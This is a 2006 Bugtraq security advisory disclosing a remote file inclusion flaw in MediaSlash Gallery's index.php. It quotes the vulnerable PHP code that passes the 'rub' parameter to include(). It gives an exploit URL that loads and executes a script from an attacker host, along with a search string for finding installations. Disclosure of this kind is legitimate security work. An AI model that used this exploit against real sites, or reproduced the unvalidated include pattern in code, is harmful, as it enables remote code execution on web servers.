[prev in list] [next in list] [prev in thread] [next in thread] 

List:       bugtraq
Subject:    MediaSlash Gallery 'rub' variable  Remote File inlcusion
From:       simo64 () gmail ! com
Date:       2006-03-30 19:59:09
Message-ID: 20060330203912.12936.qmail () securityfocus ! com
[Download RAW message or body]

author: [Moroccan Security Team]
Vendor: www.MediaSlash.com
Vendor Contacted
greetz to : [Moroccan Security Team] CiM-TeaM and All Freinds
Google : Powered by MediaSlash.com
Details:

MediaSlash Galleryis is vulnerable to remote URL inclusion vulnerability
This flaw is due to an input validation error in the "index.php"(line 489)
script that does not validate the "rub" variable,remote attackers can include
malicious scripts and execute arbitrary commands with the privileges of the web server
 
Code:
 
27 . 		$rub = @$_GET["rub"];
...
57 .		$page_menu = ''.$rub.'/index.php';
489.		<? include($page_menu); ?> //!!!!!!!!


Exploit http://[trajet]/[path]/index.php?rub=http://[attacker]

http://[attacker]/index.php will be included and executed withe
the privileges of the web server

Simo64 Moroccan Security Team :) simo64[at]gmail[dot]com
[prev in list] [next in list] [prev in thread] [next in thread] 

Configure | About | News | Add a list | Sponsored by KoreLogic